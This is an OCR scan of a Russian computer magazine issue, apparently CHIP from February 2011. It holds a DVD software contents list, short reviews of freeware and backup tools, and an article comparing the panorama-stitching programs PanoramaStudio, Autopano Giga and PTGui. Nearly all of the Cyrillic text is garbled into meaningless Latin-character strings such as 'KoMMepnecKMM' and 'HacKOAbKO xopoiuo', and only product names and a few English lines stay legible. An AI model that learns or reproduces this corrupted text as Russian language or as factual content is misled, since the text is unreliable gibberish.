Burner 2.1 

Opera 10.63 

Adobe Reader 9 

Chameleon Window 

FileZilla for Linux 3.3.5 

K-Lite Codec Pack 

Manager 

Wippien for Linux 2.4.2 

.NET Framework 

XYplorer 9.70 

DVDStyler 1.8.2 RC1 

Foobar 2000 

Mouse Extender 1.9.9 


7-Zip 

Astroburn Pro 2.1.0 

EOHVC 

TheMop 


Maiepi/ia;ibi k craTbAM 

Be3onacHOCTb 

MmepHeT n ceib 

« Firefox riAK)c+» 

TopM03HT n K? 
/lennM ac|Dc|DeKTHBHo 

AHTMBMpyc KacnepcKoro 
Dr.Web 

Ashampoo Internet 
Accelerator 3.20 

BecnAaTHoe yAyniueHne 

N0D32 

Windows 


CHIP Edition 

Jla3enKn BnpycoB 

MV3blKA 

Skype Recorder 

Xopoiune «nAOxne» 

Xe-None 

CHIP Edition 

yTHAHTbi 

Heifervescent 

VKBot 1.4.8 Special Edition 

KoAnpyeM n yAynwaeM 


VKLife 1.9.1 

BHAeo 

KMHO 

ooVoo 2.9 

1/lcKyccTBeHHbm MHTeAAeKT 

Pei4eH3nn 

Postbox 2 

n MLlieM CKpnnT B HeCKOAbKO 

flo6poBOAbqbi 

Fresh FTP 5.38 

KAHKOB 

BpecTCKaA KpenocTb 

WebCopier Pro 5.3.5 

06-beAHHAeM Mnpbi 

riMAa 7 


UJnnoH am Barn 6pay3ep? 

AwepMKaHeq 

My/ibTMMeAMa 

MediaCoder 0.7.5 

HacKOAbKO xopoiuo 
3aiAMiAafOT cpeACTBa 

Yoaa-Ctpmt: 
fleHbrn He cnAT 

AVS DVD Player 3.1.1 

6e3onacHocTM? 


Moovida 2.02 

lloKMAaA ICQ 

POAMKM 

2 Flyer Screensaver Builder 
Convert Genius 3.8.0 

fleTCKaA 3aiAMTa b CeTn 

3eAeHbm cfioHapb 
1/lHonAaHeTHoe BTop>KeHMe: 

Moovida Media Player 2.0.2 

MOBMJIbHbIM COOT 

BMTBa 3a Hoc-AHA>KeAec 

Windows Mobile 

KyHr-cbv flaHAa 2 

l~pac|)MKa n a mam 

WR-Tools Reslnfo 

ripMTBOPMCb MOeM >KeHOM 

Ashampoo Photo Optimizer 

GMaH Calculator 1.00 

A> KeMH 3np 

lAVMonitor 1.7.9 

«BKoHTaKTe 1.0» 



eazyWallet 2.00 

nrpbi 

04 >mc 

myPlayer 1.85 

Xmbi nrp 

Translatelt! 6.0 
CHIP Edition 

locationAlarm 1.00 
Paul's Pick 1.10 

Need for Speed: 
Hot Pursuit 

«KoHTeKCT 7.0» CHIP Edition 

Top Player 0.50 
Top Notes 


Lotus Symphony 3.0 

MnHM-nrpbi 

Escaro 1.1 

Planet Protector 

«BeceAaA cfiepMa: Pbi6Hbm 

5e3onacHocrb 


AeHb» Special Edition 

Symbian 

«BepTOAeTHbie BoMHbi» 

Easy Free Web Cam 4.1 
lAVMonitor 1.7.9 
Paragon Backup & 
Recovery 10 Professional 

RaceChrono 1.40 

«rMnep6oAOMA 2: 

Auto WeFi 1.10 

Ha6MpMHT BpeMeHM» 

N Drive Navigation 10.1 
Snaptu 1.3.0 

«rOHKM Ha BblCOTe» 
Icy Tower 1.4 

Pa60MliM CTOJl 

Chess 2.33 Lite 

PokerTH 0.8.1 

Seven Remix XP 2.4 
Ha6op ukohok 
ot Dunedhel 

Nuke Defender 1.02 


Road to Hell 3D 

flPAMBEPbl 

Skeptical Science 

ATI 

HTC Home 1.10 

TeMa «FnflAfl Ha 3Be3Abi» 

NVIDIA 

7C0NIFIER 0.4 R3 

TeMa «3eMHaa HOHb» 

SONY 
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!/IU3il/lb , OaSl/IOdU-l/ll/IHVUI/\IOX :OIOcD 


KoMMepnecKMM cocJdt COflEPJKAHME DVD 


o) CHIP DVD 

BACKUP & RECOVERY 1 0 PROFESSIONAL I ASTROBURN PRO 2.1 .0 

Co3flam/ie pe3epBHbix Koni/ii/i I l~lpo>Ki/ir ai/ickob 


Baxan cucieMbi 


flOBepbTe co3,qaHi/ie pe3epBHOM Konm/i OC nporpaMMe Paragon Backup & Recovery 10 
Professional, a 3am/icb 3Toro apxuBa, paBHO KaK i/i niobbix flpyrux aaHHbix, Ha omi/nec- 
kmm flMCK — npi/iJio>KeHi/iK) Astroburn Pro. 



CymecTByeT MHOxcecTBO pemeHHH 
AJih pe3epBHoro KOimpoBaHHB HHcjiop- 
MaijHH. Paragon Backup & Recovery 


BBmejineTCH Ha hx 4>OHe 

niHpOUaHIIIHMH B03M03CH0- 
CTHMH, KOTOpBie OTKpBIBa- 
iotch nepeA nojn>30BaTe- 
jieM 3toh nporpaMMBi. Baac- 
HBie AaHHBie MoryT 6bitb 
coxpaHeHBi Ha BHeniHHx Ha- 
KonHTejuix, b ceTeBBix nan- 
KaX, Ha JIOKaJIBHLIX AHexax 
(b tom HHCJie b HenoAKjiio- 
neHHBix pa3Aejiax), 3arpy- 
xeHBi Ha FTP-cepBep hjih 
CKOnHpOBaHBI b Tax Ha3BI- 
BaeMyio «apxHBHyio xan- 
cyjiy» — cneijHajiBHBiH cxpbitbih 
pa3Aeji, Ha^excHo 3amHmeHHBiH ot 
nocTOpOHHHx rjia3. Ilpn HeobxoAH- 


MOCTH MOvKHO nOJiyUHTB AOCTyn X 

onpeAejieHHBiM AaHHBiM, He pacna- 
xoBBiBan Beet apxHB. 

IlOMHMO C 03 aaHHH XOnHH OTAeJIBHBIX 

(JiaHJTOB h nanox Paragon Backup & 
Recovery cnoco6eH bbihojihhtb pe- 
3epBHpoBaHHe onepau;HOHHOH CHCTe- 
mbi. IlpH noMonjH 3 toh nporpaMMBi 
MOvKHO 6e3 oco6oro Tpyaa nepeHec- 
th OC c coxpaHeHneM Bcex HacTpoex 
H yCTaHOBJieHHBIX npHJI03CeHHH Ha 
Apyron xoMntiOTep. 


I PARAGON BACKUP & RECOVERY 1 0 PRO 1 

CAMT 

www.paragon.ru 

R3blK l/IHTEPOEMCA 

pyccKi/m 

YCJ10B m PACnPOCTPAHEHMR 

trialware (590 py6.) 

OnEPAUI/IOHHAB CI/ICTEMA 

Windows XPA/ista/7 


YAo6Ha5i 3anNGb 


IlporpaMMa Astroburn Pro ot co 3- 
AaTejien nonyjinpHoro npHjioxeHHH 
AJin paboTBi c o6pa3aMH ahcxob 
DAEMON Tools Pro nBjineTcn yao6- 
hbim cpe^CTBOM ajih nepeHoca AaH- 
hbix Ha onTHuecxHe HOCHTejiH. BHe 
3aBHCHMOCTH OT nOCTaBJieHHBIX 3a- 
A an, 6yzp> to pe3epBHoe xonnpOBa- 
HHe HJIH 3anHCB AHCXa C My3BIXOH, 
Astroburn Pro 6e3 npobjieM cnpa- 
BHTCH CO CBOeH paGOTOH. 

IlporpaMMa oGjia^aeT HarjiHAHBiM 
HHTep(J)eHCOM: b Hen ecTB BCTpoeH- 
HBIH (J)aHJIOBBIH MQttQRXiQp , n03B0JIH- 

k)iu,hh BBiGnpaTB cjiaHJiBi h nanxH, a 
npH AobaBjieHHH hx b npoexT aBTO- 
MaTHHeCXH nOACHHTBIBaeTCH oGiuhh 
o6r>eM AaHHLix, Gjiaro^apn ueMy 


MOJKHO TyT JKe nOJiyHHTB HH- 
(J)opMau;HK) 06 ocTaBnieMCH cbo- 
Goahom MecTe. Tnn hochtcjih b 
Astroburn Pro Taxxce onpeAe- 
jineTcn aBTOMaTHnecxH — ajih 
3 TOTO HeobxOAHMO npOCTO BCTa- 
BHTB « 6 oJIBaHXy» B npHBOA. npor- 
paMMa paboTaeT co BceMH th- 
naMH ahcxob h ycTpoeHa TaxnM 
o 6 pa 30 M, hto ajih BtiGopa Ha- 
CTpoex h xoMaHA He Hyxoio 
obpamaTBCH x AHajioroBtiM ox- 
HaM h nyHXTaM MeHio — Bee 
OHH BBIHeCeHBI B niaBHoe OXHO. 

Tax, 3 accb MOJKHO yxa3aTL npHBOA 
h (JiataoByio CHCTeMy, a xHonxn Ha 
naHejiH HHCTpyMeHTOB noMoryr onpe- 
AeJIHTBCH C THnOM 3aAaHHH. 


► ; Lrid £3 ±3 a £5* S „ 
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CAMT 

513blK l/IHTEPOEMCA 
YCJ10BI/I51 PACnPOCTPAHEHI/lfl 
OnEPALPOHHAfl CI/ICTEMA 


www.astroburn.com 
pyccKi/iw 
trialware (855 py6.) 
Windows XPA/ista/7 
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COflEPMAHME DVD JlyHLime SecrmaTHbie nporpaMMbi 


o)CHIP DVD 

HTC Home 1.10 

l/lHtjDopiviep add padonero CTO/ia 

ERUNTgui 1.2.5 

KonnpoBaHne peecipa 

7C0NIFIER 0.4 R3 

yKpaiueHi/ie Windows 

Haozip 2.1.5 

My/ibTi/iapxHBaTop 

Defraggler 2.0 

fle0parMeHTapnfl amckob 

Ashampoo Photo Optimizer 1.20 

0nTi/nvM3apnfl (pOTorpacjoi/m 

IBM Lotus Symphony 3.0 

OcjMCHbm naxeT 

Moovida 2.02 

flporpaMMHbm MeAnapemp 


Freeware 

deluxe 

E>KeMeC 3 HH 0 B CBeT BblXOflflT flGCflTKI/l HOBbIX yTMJlMT, 
pacnpocTpaHaioiAMxca Ha HeKOMMepnecKOM ocHOBe win 
C OTKpbITbIMM MCXOflHblMM KOflaMI/l. B 3 TOM py 6 pMKe Mbl paC- 
CKa>KeM o Han 6 ojiee MHTepecHbix decnnaTHbix nporpaMMax. 


MHCDOPMEP flilfl PABOHETO CT0J1A 



OC ► Windows Vista/7 

A3blK ► aHITIMMCKI/IM 


norofla b AOMe 

TeMa 3 Toro BMA>KeTa HaBepH^xa 3 HaKOMa 
BCeM BJiaAe/lbLjaM KOMMyHMKaTOpOB. HTC 
Home OTo 6 pa>KaeT Ha pa 6 oneM cro/ie 
BpeMa, CBefleHMA o TeKymeM norofle m ee 
npomo 3 Ha 6 /in>KaMmMe nflTb AHen. 3 to 
MH cf)opMaAMOHHoe Ta 6 /io Bbim^AMT oneHb 
KpacMBo: 6 ojibWMe aHMMMpoBaHHbie nacbi, 
noBepx KOTopbix 6 eryT o 6 /iai<a, zibeT 
AO>KAb, naAaiOT CHer mjim oceHHMe jiMCTba. 
KpOMe aHMMaAMM MO>KHO BKJlIOHMTb 3 By- 
KOBoe conpoBO>KAeHMe — TorAa 6 yAyT 
c/ibiLUHbi, HanpMMep, naAaioiAMe Kan/iM. 
Pa 3 Mep HTC Home Ha axpaHe mo>kho pe- 
ry/iMpoBaTb m ycraHaB/iMBaTb ero noBepx 
Bcex okoh. l/lHc()opMauM 5 i o noroAe noA- 
rpywaeTCfl noyKa 3 aHHOMy no/ib 30 BaTe/ieM 
KaHa/iy. Ha AHCKe npeAcraBjieHbi cra 6 M/ib- 
HblM BapMaHT MHCjDOpMepa C nopflAKOBblM 
HOMepoM 1.10 m 6 eia-Bepcn 5 i Home 2. 

■ www.htchome.org 


KOnilPOBAHME PEECTPA 




Pe3epBnpoBaHiie 6a3 

CpeACTBa pe 3 epBHoro KonMpoBaHMfl nnx 
AOMaiuHMx no^b 30 Baie/ieM He oneHb ao- 
pom, a mo>kho HaMTM m BOBce 6 ecn/iaT- 
Hbie peweHMfl. OT/iMHHbm npMMep — 
ERUNTgui, yTM/iMTa pj\s\ apxMBMpoBaHMfl 
peecipa. TaK KaK peecip Windows — 3 to 
ocHOBHa^ 6 a 3 a AaHHbix cMcreMbi, owm 6 - 
km b Hen MoryT npMBOAMTb k c 6 oam b pa- 
6 oie. no 3 TOMy nepeA Jiio 6 biMM cepbe 3 - 

HblMM AeMCTBMflMM, 6yAb TO OnTMMM3aAMfl 
OC mjim ydaHOBKa noA03pme/ibHOM npor- 
paMMbi, Mbi peKOMeHAyeM co3AaBaTb ero 
KOnMK). fljlfl 3TOrO AOCTaTOHHO Ha>KaTb 
Bcero OAHy KHonKy b ERUNTgui, CTO/ib 
>Ke npodo m BoccTaHOBMTb paHee coxpa- 
HeHHyio 6a3y. llporpaMMy mo>kho Ha- 
CTpOMTb T3KMM o6pa30M, HTO OHa 6yAeT 

aBTOMaTMHecKM pe 3 epBnpoBaib peecip 
npu Ka>KAOM 3 arpy 3 Ke Windows. 

■ www.freewarefiles.com 


yKPAUJEHME WINDOWS 



0C ► Windows 7 

A3blK ► aHr/lMMCKMM 


HOBbie MKOHKH 

ECJIM Bbl AeHMTe CTMJlbHblM BHeiUHMM 
bma Mcnojib3yeMoro nporpaMMHoro 
o6ecneHeHM5i, to CKopee Bcero b xane- 
CTBe onepauMOHHOM CMcreMbi y Bac 
ycraHOBjieHa Windows 7. KorAa >Ke BaM 
HacKyHMT ee CTaHAapTHoe oc|DopMjieHMe 
M 3aXOHeTC51 MHAMBMAyaJlM3MpOBaTb 
Ka>KAbm 3/ieMeHT rpac|)MHecKoro MHTep- 
cf)eMca, o6paTMTe BHMMaHMe Ha yTMjiMTy 
7C0NIFIER. OHa M3MeH5ieT BHeiUHMM bma 
llaHejiM 3aAan m MeHio «riycK», npeAJia- 
ra53 Bbi6paTb oaho m 3 roTOBbix peineHMM 
ocfDopMjieHMji — npaBAa, noKa mx Bcero 
TpM. KOHeHHO, pa3pa60THMKM He MOr/lM 
BKJHOHMTb B Ha6op MKOHKM A/1 A BCeX 
cyiAecTByioiAMx npMjio>KeHMM, noaTOMy 
nOATOTOBM/lM p53A CT3HAapTHblX 3H3HKOB, 
KOTOpbie MO>KHO BpyHHyK) npMCBOMTb TOM 
mjim mhom nporpaMMe. 

■ www.deviantart.com 
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i/iu3ii/ib'oasi/iOdu-i/ii/iHvui/\iox moo 








IVIVJlbTWAPXMBATOP 



FlaKyMTe neMOAaHbi 

Haozip 6yfleT MmepeceH BceM no/ib30Ba- 
Te/mM WinRAR, we/iaiOLAMM cMeHMTb stot 
CTaHflapTHbiM apxMBaiop Ha 6o/iee mola- 
HblM M npM 3TOM JlMI4eH3MOHHblM. Y 6o/lb- 
LUMHCTBa a/lbTepHaTMBHbIX pemeHMM eCTb 
CBOM HeAOCTaTKM, a BOT Haozip MO)KeT 
CTaTb OTJ1MHHOM 33MeHOM. 1/1 HTepc|3eMC 
3tom nporpaMMbi noBTop5ieT npMBbNHbm 
WinRAR. lloAAep/KMBaera OKame 
b c|3opMaTbi 7z, ZIP, TAR m pacnaKOBKa 
apxMBOB Bcex nony/iflpHbix Ti/inoB. 

■ www.haozip.com 


06paTMTe 

BHMMdHIie 

3tm 6ecn/iaTHbie nporpaMMbi TaK>Ke 
mo>kho HaMTi/i Ha CHIP DVD/DownLoad. 

360Amigo System 
Speedup FREE 

flaHHbm naKeT coAep/KMT Ha6op mh- 
CTpyMeHTOB A-n^ noncKa m BbmB/ieHM/i 
Heno^aAOK b onepauMOHHOM CMaeMe. 

Chameleon Window 
Manager 1.0 

rioc/ie ydaHOBKM 3 tom nporpaMMbi 
b BaiueM pacnop5i>KeHMM oKawyra 
Aono^HmejibHbie KHon km A-n^ ynpaB- 
/I e H MJ3 OKHaMM OC. 

Easy Free Web Cam 4.1 

YTM/iMTa npeAHa3HaneHa a/i* ncno/ib- 
30B3H M51 C Be6-KaMepaMM /I K)6blX 
MOAG/ieM. B HeM MMeeTC51 MHO>KeCTBO 
no/ie3Hbix MHdpyMeHTOB A-n^ pa6oibi 
b I/I HTepHeie. 


Elite 6onbwe 
6ecnnaTHbix nporpaMM 
Ha www.ichip.ru 



flECDPArMEHTAUIIfl flMCKOB 



BaMTbi no nonomoM 

PeAKMM Aec|3parMeHTaTop MO>KeT cpaB- 
HMTbC5i c DefraggLer no cKopocm, Ha- 
Ae>KHOCTM m yAo6cTBy b pa6oie. Biopa^i 
BepcMfl 3 tom yHMKa/ibHOM yTM/iMTbi cno- 
co6Ha 3a cHMTaHbie MMHyTbi noAapMTb 
HOByio >KM3Hb BaweMy >KecTKOMy AUCKy 
m 3HaHMTe/ibH0 yBe/iMHMTb ero 6bicrpo- 
AeMCTBMe. TaK>Ke DefraggLer MoweT pa- 
6oTaTb c yKa3aHHbiMM no/ib30Baie/ieM 
AMpeKTOpMflMM M c|DaM/iaMM M yCTpaHflTb 
cfiparMeHTauMK) npM 3arpy3Ke Windows. 
■ www.piriform.com 


0nTMMM3AUMfl (D 0 T 0 T P AO 11 M 


OOJMGHblW nAKET 


flPOrPAMMHblM MEflMAUEHTP 



Windows XPA/ista/7 
pyCCKMM 


YnymuaeM chmmkm 

BceM, kto ycTa/i TpaTMTb spem Ha o6pa- 
6oTKy UMc|DpoBbix c|30Torpac|DMM m M3yne- 
HMe c/io>KHbix rpacjDMHecKMx peAaKTopoB, 
MMeeT CMbicn nepeMTM Ha Ashampoo 
Photo Optimizer. 3ia 6ecn/iaTHa5i npor- 
paMMa npMMenaie/ibHa TeM, hto b Hen 
mo>kho y/iynwaTb KanecTBO chmmkob m 
ycrpaHflTb MMeioiAMecfl Ha hmx Aecf)eKTbi 
Bcero oahmm kjwkom, MAeT/iM penb o no- 

BblLLieHMM KOHTpaCTHOCTM, M3MeHeHMM 53p- 
koctm M/iM ABeTOBoro 6a/iaHca. Ec m >Ke b 
OAHOTM nHOM o6pa6oTKe Hy>KAaeTC5i ue/ia^ 
rpynna cf)OTorpac|)MM, npodo yKa>KMTe co- 
Aep>KaiAyK) nx nanKy. 

■ www.ashampoo.com 



EM3HeC-CMM(|30Hlin 

HoBbm 6ecnnaTHbm ocf)MCHbiM naKeT 
IBM Lotus Symphony no CBoen cyTM 
ABJlfleTCfl C/10>KH0M HaACTpOMKOM A/151 

OpenOffice 3, npeA/iaraioiAeM 6o/iee 
yAo6Hyio opraHM3auMK) pa6onero 
npodpaHCTBa m B03M0>KH0CTb peAaK- 
TnpoBaHMfl 3aiAMiAeHHbix napo/mMM 
cjoa M/i o b Microsoft Office. TaK>Ke oh 
npMMenaieneH noAAep/KKOM craHAap- 
tob ODF 1.2 m OLE 2007, cfDyHKAMflMM 
npoBepKM opc|3orpac|3MM, Bbino/iHeHna 
MaKpocoB m BHeApeHMA My/ibTMMeAna. 
B OCTa/lbHOM OH nO/lHOCTbK) MAGHTM- 

neH naKeiy OpenOffice. 

■ www.symphony.lotus.com 



MOOVIDA 2.02 


OC 

513b IK 


Windows XPA/ista/7 

aHrilMMCKMM 


nKflna pa3B/ieMeHMM 

Bbi 3a6yAeie o K/iaBMaiype m MbiiuM, 
KorAa CMO>KeTe ynpaB/i/iTb KOMnbiOTe- 
poM c noMOiAbio ny/ibTa. llporpaMMa 
Moovida, Hac/ieAHMAa nony/mpHoro Me- 
AMaueHTpa Elisa, conpoBO>KAaeT Ka>KAoe 
AeMCTBMe 3aBOpa>KMBaK)LAMMM 3C|3C|3eKTa- 
mm m MHTepecHa TecHOM MHTerpauneM 
c Last.FM, YouTube m APyrMMM ceieBbi- 
mm c/iy>K6aMM. TaK>Ke noc/ie ee ycraHOB- 
km BaM CTaHyT AOdynHbi BcrpoeHHbm 
peAaKTop TeroB, yqo6HbiM ayAMOBMAeo- 
n/ieep, Be/iMKO/ienHbm Kaia/iorM3aiop 
A/151 BaiueM KO/l/ieKAMM (|Dn/lbMOB M KHMT 
m MHoroe Apyroe. 

■ www.moovida.com 
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COflEPMAHME DVD TecT npmioxeHMM arm C 03 ,qai-mfl naHopaM 


TBOM Kpyr 030 p 



CHIP 


QEBPAIlb 2011 


Ma 


V 


KaK nojiyHMTb 0OTorpa0nn, cyiiiecTBeHHO npeBoexo- 
flflLUMe B03M0>KH0CT1/I BaweM KaMepbl? Ofll/IH M3 AOCTyn- 
Hbix cnocodoB — co3,qaHMe naHopaMHbix M3o6pa>KeHMM. 


E cjih c^ejiaTt HecmubKO chhm- 
KOB C OAHOH TOHKH H npOCTO 
pa3MeCTHTB MX pHAOM B (J)OTO- 
peaaKTope, pe3yjiBTaT OKaxeTcn 
HeyaoBjieTBOpHTejiBHBiM: MecTa 
coeaHHeHHB oTAejibHbix nacreH Kojuia- 
xca Gyayr xoporno 3aMeTHBi. IIojiyuHTb 
Kaapbi, KOToptie 6 bi uneajibHo coctbi- 
KOBamcB apyr c ApyroM, npaKmuecKH 
HepeajiBHO, BeAb Ha pe3yjiBTaT bjihh- 
K)T aa>K6 He3HaUHTeJIbHbie H3MeHeHHH 
b ocBemeHHH hjih napaMeTpax cbcmkh. 
H ecjiH nocTOHHCTBO nocjreaHHx (Jdoto- 
rpac)) erne MoxceT npoKompojiHpo- 
BaTB, to npeaBHaeTb noHBjiemie oGjiaxa, 
KOTOpOe HeOXCH^aHHO 3aCJIOHHT COJIH- 
i iq, hjih GjiHKa ot 3epKajibHOH noBepx- 
hocth HeB03M0xcH0. Hmchho n03T0My 
ctoht Hcnojib30BaTb cneHuajibHbie yrn- 
jiHTbi juih co3aaHHH naHopaM. 


PANORAMASTUDIO PRO 2 . 1.2 


KponouiMBbift nofl 6 op 


IlporpaMMa PanoramaStudio Pro C03- 
AaeT naHOpaMbi H3 oahoto hjih He- 
CKOJIbKHX CHHMKOB. IloCJie yKa3aHHH 
THna CKjienBaeMOH KapTHHbi h HMnop- 
Ta H3o6paxceHHH ynuiHTa aBTOMaTHue - 
ckh pacnojiaraeT hx phaom, hto no3- 



PanoramaStudio — HeTpedoBaTe/ibHaa 
i/i npocTaa b ocBoem/ii/i nporpaivuvia 


BOJineT npHMepHO npeACTaBHTb, KaK 
6yaeT BbirjumeTb HToroBoe H3o6pa3ce- 
HHe. OaHaKO CTOHT HMCTb B BHfly, HTO 
npH npe^BapHTejibHOM npocMOTpe He 
ywrbiBaeTCH nepeKpbiTHe chhmkob, 
nosTOMy Taxan KapTHHKa BecbMa Aajie- 
Ka ot pe3yjibTaTa, kotopbih nojiyuHTcn 
nocjie o6pa6oTKH. 

npoiiecc CKjieHKH H3o6paxceHHH npo- 
hcxoaht b HecKOJibKO 3TanoB. BHauajie 
(J)OTorpa4)HH BbipaBHHBaiOTCH Apyr 
OTHOCHTejibHO Apyra. jih 3toto Pano- 
ramaStudio Pro Hcnojib3yeT ycjiOB- 
HyiO JIHHHK) T0pH30HTa Ha Kaxc^OM 
CHHMKe. flaHHbie Moryr 6biTb HMnop- 
THpOBaHbi H3 BcnoMoraTejibHbix MeTa- 
AaHHbix hjih ycTaHOBjieHbi nojib30Ba- 
TejieM BpyuHyio. flajiee yTHjiHTa CMe- 
niHBaeT nepeKpbiBaiomHecii oGjiacTH 
4)OTOrpa(jDHH H onTHMH3HpyeT H3o6pa- 
xceHHe, MacKHpyn MecTa coe^HHeHiw. 

npH HeodxOflHMOCTH MOXCHO CKOp- 
peKTHpOBaTb nojiyneHHyio naHOpaMy 
BpyuHyio: b nporpaMMe HMeeTcn mho- 
XCeCTBO pa3JIHHHbIX HHCTpyMeHTOB JU\5i 
nocTo6pa6oTKH (jiOTorpa^HH. Tax, c 
noMombio BCTpoeHHbix b Panorama- 
Studio Pro cjmjibTpOB moxcho c^ejiaTb 
CHHMOK 6oJiee UeTKHM, B0Cn0JIb30- 
BaTbCH KpHBbIMH ynpaBJieHHH IJBeTOM 
H T. A- npH odpameHHH K JHOdOMy 
HHCTpyMeHTy ynuiHTa noKa3biBaeT ABa 
BapnaHTa H3o6paxceHHH — KapTHHKy 
AO h nocjie npHMeHeHHH 3$(^eKTa. 

B OTJIHHHe OT ApyrHX npHJIOXeHHH 
AJIH C03AaHHH naHOpaMHbIX CHHMKOB 
PanoramaStudio Pro no3BOJineT coxpa- 
HHTb pe3yjibTaT He tojibko b Bnae rpa- 
(JiHnecKHx (jianjiOB, ho h b cjiopMaTe 
EXE. B nocjieAHeM cjiyuae npH 3anycKe 
cjiaHJia OTKpbiBaeTcn okho npocMOTp- 
iAHKa naHOpaMbi, b kotopom mcajichho 
nepeMemaeTcn uacTb H3o6paxeHHH, 
hto co3AaeT HJUH03HK) o630pa 3anenaT- 
JieHHOH MeCTHOCTH. 



Autopano npefl/iaraeT MaKcmviyM KOMCpopTa 
np m co3flaHi/n/i naHopaM 


AUTOPANO GIGA 2.5 BETA 


ABTOCOpTlipOBKa 


IlporpaMMa Autopano Giga cymecTByeT 
b BepCHHx Kax AJia Windows, TaK h Mac 
OS h Linux. npHjioxceHHe ohthmh- 
3HpOBaHO AJIB HCn0JIb30BaHHH mhoto- 
HAepHbix npoijeccopOB h padora b 
64-6hthbix CHCTeMax, uto no3BOJineT 
3aMeTHO ycKOpHTb npouecc peHAepHHra 
naHopaM. KpOMe toto, Autopano Giga 

AaeT B03M0>KH0CTb 3aACHCTBOBaTb A JIB 

BbIBOA 

npouecc o 6 beAMHeHM 5 i cepm-i KaflpoB 
b naHopaMy oneHb c^o>KeH m He MMeeT 
MAea^bHoro a^ropmMa. KanecTBO ko- 
HeHHOTO M3o6pa>KeHM51 BO MHOrOM 3aBM- 
cm ot Toro, HacKO/ibKO yAaHHo CAe^aHbi 
OTAe^bHbie cHMMKi/i. KpoMe Toro, Ka>KAa5i 
nporpawwa ncno^b3yeT cboio weTOAHKy 
noAroHKM KpaeB kbapob, noaTOMy Bno^- 
He B03M0>KH0, HTO pe3y/lbTaT «CKJieMKM» 
oahom m tom >Ke rpynnbi ct)OTorpa(()MM 
y pa3Hbix npM/io>KeHMM 6yAeT HeoAMHa- 
KOBbiM. HaM 6o^biue Bcero noHpaBM- 
^ocb, KaK pa6oTaeT PTGui, ho KOMy-TO 
OHa MO)KeT noKa3aTbC5i c^mlukom c^o>k- 
hom. B 3tom c^ynae ctomt Bbi6paTb 
6o/iee noH5iTHyio PanoramaStudio. 
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Project Assistant Source Images Lens Settings Panorama Settings Crop Image Parameters Control Points Optimi; □2 

Provide control points (matching points on two overlapping pictures), As a rule of thumb, provide at least three control points for 
each pair of overlapping images. It's easy: simply dick on matching points on both images. 


0 i 2 0 1 2 



Zoom: [Fit Preview exposure: Q EV 0 


PTGui paHee cymecTBOBa/ia TO/ibKo KaK OAHa M3 Hai/i6o/iee yqanHbix rpacjDi/iHecKnx oOononeK aha 
O ecn/iaTHoro HaOopa 6n6/inoTeK Panorama Tools, ho Tenepb o63aBenacb n coOcTBeHHbiM abi/dkkom 


ycKopeHHH o6pa6oTKH AaHHbix moih- 
HOCTH rpa(J)HHeCKOH CHCTeMBI. B Ha- 
CTpOHKax nporpaMMbi npe/uraraeTCH 
yKa3aTb, CKOJibKO aaep 6yayr ynacTBo- 
BaTb b npocneTe. 

Oaho H 3 npeHMymecTB Autopano 

Giga — B03M03CH0CTB aBTOMaTHUeCKOH 
COpTHpOBKH H306pa3CeHHH. ECJIH Bbl 
xoTHTe co3aaTb hockojibko naHopaM, 
Heo6xOAHMO ynOpHaOHHTb CepHH CHHM- 
kob, OTHOCimjHxcii k onpeAejieHHO- 
My cioxceTy KapTa naMHTH 3auacTyio 
COAepXHT COTHH (J) OTOTpa(|)HH , H OT6op 
3JieMeHTOB M03AHKH BpyHHyiO MO- 
xeT 3aHHTb MHoro BpeMeHH. Autopano 
Giga aHajiH3HpyeT Kaapbi h coprapy- 
eT hx no rpynnaM. 

fljw Kax^oro Ha 6 opa (jDOTorpa^nn 
yTHjiHTa C 03 ^aeT npeABapHTejibHbra 
3 CKH 3 naHOpaMbi n ou;eHHBaeT Kaue- 
CTBO OT^eJIbHblX Ka^pOB. HeM TOHHee 
noao6paHbi 3jieMeHTbi Kojuiaxa, tcm 
Bbime 6 ajni. B 3 aBncnMOCTH ot anna- 
paTHbix B 03 M 03 CH 0 CTen KOMnbiOTepa 
b HacTpOHKax Autopano Giga mo>kho 
yxa 3 biBaTb KauecTBO npeABapHTejibHO 
reHepnpyeMon naHOpaMbi . 

HHCTpyMeHT CKjienKH ncnojib 3 yeT 
ajiropHTM KOppeKu;HH ijBeTOB, htoGbi 
CK pbITb UIOB Ha CTbIKe KaflpOB, OAHaKO 
C 03 AaBaeMan hm naHOpaMa, KaK npa- 
bhjio, HyacAaeTcn b HeGojibmoii AOpa- 
6 oTKe. jih 3 Toro b Autopano Giga 
HMeiOTcn BCTpoeHHbie cpeACTBa, b tom 
HHCJ ie B 03 M 0 XCH 0 CTB pa 6 oTbi b pe:*H- 

Me HDR (High Dynamic Range — 
bbicokhh AHHaMHnecKHH Anana 30 H), 
no 3 TOMy Ha nocjieAHeM 3 Tane y nojib- 
30 BaTejiii He B 03 HHKaeT Heo 6 xoAH- 
MOCTH B AOnOJIHHTeJIbHOM rpacjDHue- 
ckom pe^aKTOpe. 

C noMombio cneu;HajibHbix HHCTpy- 
MeHTOB M 03 CH 0 BblpaBHHBaTb JIHHHK) 
ropH 30 HTa h HcnpaBjMTb ncicaace- 
hhh nepcneKTHBbi. fljm ototo AOCTa- 
TOUHO BpyHHyiO o 603 HaHHTb Ha Kap- 
THHKe HanpaBjiiHomne, no kotopbim 
AOJHKH bl 6 bITb COpHeHTHpOBaHbl KOH- 
Typbl 06 T>eKT 0 B. 

K Ha3BaHHHM COXpaHHeMbIX H306pa- 
xeHHH no3BOJineTcn npuMenaTb pa3- 
jiHHHbie niTaMnbi h MacKH, HaAejimi 
HMeHa (JjaHJIOB nOJie3HOH HH(J)OpMaHH- 
en. HanpHMep, mo>kho nponucbiBaTb 
napaMeTpbi naHOpaMbi, yKa3biBaTb hhc- 
JIO COCTaBJTHKDLUHX ee 3JieMeHT0B, Ae- 
JiaTb nOMeTKH OTHOCHTeJIbHO MeTOAa 
annpoKCHMaHHH chhmkob hjih ncnojib- 
30BaTb npecjMKC, noHCHaroinuH hx TeMa- 
THKy (cKaxeM, fotki s rybalki). 


PTGUI 8.3.1 


ToHHoe BbipaBHMBamie 


npHHAHn CKjieHBaHHn naHopaM b 
PTG ui ocHOBaH Ha noncxe kohtpojib- 
hbix Tonex. nporpaMMa HaxoAHT oah- 
HaKOBbie A^TajiH, npncyrcTByiomHe 
Ha CHHMKax, h Ha hx ocHOBe Bbihnpa- 
eT KjnoneBbie y 3 Jibi. nocjie o 6 pa 6 oTKH 
xaApOB ymjiHTa BbipaBHHBaeT $ 0 - 
TorpacJiHH Apyr OTHOCHTeJIbHO Apyra 
